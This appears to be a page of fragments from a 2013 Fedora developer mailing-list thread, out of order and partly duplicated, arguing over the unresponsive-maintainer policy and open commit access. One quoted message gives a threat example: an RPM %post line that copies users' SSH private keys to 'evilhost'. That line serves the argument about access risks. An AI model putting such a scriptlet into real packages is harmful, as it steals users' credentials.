Le mercredi 15 mai 2013 à 11:40 -0700, Adam Williamson a écrit :
> On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
> > On Tue, 14 May 2013 20:03:41 -0500
> > Michael Catanzaro wrote:
> >
> > > Well the open model has already been tried and proven in openSUSE, and
> > > they're still using
On Wed, 15 May 2013 15:06:14 -0600
Ken Dreyer wrote:
> You can always drop the co-maintainership after you've got the ACLs
> and done your work :)
>
> Speaking for myself, if I see someone's contributed a good patch in
> Bugzilla, I'd much sooner add them as a co-maintainer (even if it's
> just
On Tue, May 14, 2013 at 7:56 PM, Michael Catanzaro
wrote:
>> You can even now also mention in your bug that you are a packager and
>> would be willing to co-maintain. Not everyone would be interested, but
>> I suspect a lot of maintainers would be happy for the help and would
>> add you to make yo
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
> How do they deal with a conflict? Imagine someone there splitting
> texlive into 2500 subpackages and then 100 angry contributors
> reverting it. What are they going to do in their "open" model then?
>
> -- Pete
Well the maintainers would ju
On 05/15/2013 01:56 AM, Michael Catanzaro wrote:
I doubt that model would be accepted in Fedora, though. Different
cultures.
Which difference in culture do you see?
JBG
--
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
> On Tue, 14 May 2013 20:03:41 -0500
> Michael Catanzaro wrote:
>
> > Well the open model has already been tried and proven in openSUSE, and
> > they're still using it because it actually works really well. There
> > aren't usually any issue
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro wrote:
> Well the open model has already been tried and proven in openSUSE, and
> they're still using it because it actually works really well. There
> aren't usually any issues regarding overlap of work, though admittedly
> that community is
On Tue, 14 May 2013 20:56:59 -0500
Michael Catanzaro wrote:
> Well I mean, someone actually has to press the OK button, or the
> change doesn't happen. Sometimes that can cause delays, at least for
> big undermanned projects (GNOME in openSUSE isn't too popular). But
> usually it works really wel
On Tue, 2013-05-14 at 20:56 -0500, Michael Catanzaro wrote:
> On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote:
> Plus I mainly use GNOME programs, and GNOME maintainership in Fedora
> seems to be something of an exclusive cabel anyway (can't complain --
> Fedora has the best GNOME, period).
T
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote:
> Sure, we have a scm-commits list as well. I don't read every commit,
> but I do skim them. I can think of lots of times people pointed out
> issues they saw in the commit messages.
Well I mean, someone actually has to press the OK button, or
On 05/14/2013 09:09 PM, Kevin Fenzi wrote:
You can even now also mention in your bug that you are a packager and
would be willing to co-maintain. Not everyone would be interested, but
I suspect a lot of maintainers would be happy for the help and would
add you to make your change
Yes assuming
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro wrote:
> Well the open model has already been tried and proven in openSUSE, and
> they're still using it because it actually works really well. There
> aren't usually any issues regarding overlap of work, though admittedly
> that community is
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote:
> On Tue, 14 May 2013 21:04:59 +0100
> "Richard W.M. Jones" wrote:
>
> > I suspect the main one is someone putting:
> >
> > %post
> > scp /home/*/.ssh/id_rsa evilhost:
> >
> > into a commonly used package, or something equivalent but more su
On Tue, 14 May 2013 18:32:14 +
"Jóhann B. Guðmundsson" wrote:
> Oh Fesco is only busy but the rest of the community is not omg let me
> not waste your holy time sir...
I did not say you were not busy, just that it's pretty clear that fesco
members are.
...snip...
> > I have no idea what
On Tue, 14 May 2013 21:04:59 +0100
"Richard W.M. Jones" wrote:
> I suspect the main one is someone putting:
>
> %post
> scp /home/*/.ssh/id_rsa evilhost:
>
> into a commonly used package, or something equivalent but more subtle
> than that.
>
> Basically you're giving root access to everyone w
On Tue, May 14, 2013 at 11:45:40AM -0600, Kevin Fenzi wrote:
> On Tue, 14 May 2013 17:13:54 +
> "Jóhann B. Guðmundsson" wrote:
> > What really is needed here is to drop the user ownership module
> > altogether and allow every contribute access to every component or
> > use group ownership mod
On 05/14/2013 02:32 PM, "Jóhann B. Guðmundsson" wrote:
On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
Yeah, I sure do know... Fesco folks are busy and doing lots of things
in the areas they contribute to, so if people really want to move things
forward, perhaps they should work on some ideas themsel
On Tue, May 14, 2013 at 2:32 PM, "Jóhann B. Guðmundsson"
wrote:
>> On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
>
> On Tue, 14 May 2013 17:13:54 +
>>> "Jóhann B. Guðmundsson" wrote:
>>> The unresponsive maintainers policy is to be honest crap and to much
>>> in favor of the maintainer.
>>>
>>>
On Tue, May 14, 2013 at 18:32:14 +,
"\"Jóhann B. Guðmundsson\"" wrote:
Oh Fesco is only busy but the rest of the community is not omg let me
not waste your holy time sir...
Everybody is busy. I think the point is, that if this is something you find
very important, you may want to real
On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
On Tue, 14 May 2013 17:13:54 +
"Jóhann B. Guðmundsson" wrote:
On 05/14/2013 01:51 PM, Simone Caronni wrote:
I have a question about the unresponsive mantainer policy [1].
The unresponsive maintainers policy is to be honest crap and to much
in fa
On Tue, 14 May 2013 17:13:54 +
"Jóhann B. Guðmundsson" wrote:
> On 05/14/2013 01:51 PM, Simone Caronni wrote:
> >
> > I have a question about the unresponsive mantainer policy [1].
>
> The unresponsive maintainers policy is to be honest crap and to much
> in favor of the maintainer.
>
> Fes
On 05/14/2013 01:51 PM, Simone Caronni wrote:
I have a question about the unresponsive mantainer policy [1].
The unresponsive maintainers policy is to be honest crap and to much in
favor of the maintainer.
Fesco allegedly was looking into it but you know...
What really is needed here is to
Hello,
I have a question about the unresponsive mantainer policy [1].
What is the procedure to follow if a mantainer is kindly responding to
personal emails and granting access (really rarely) but is not giving
ownership of the packages even after years of inactivity?
I've been working mostly al
23 matches
Mail list logo
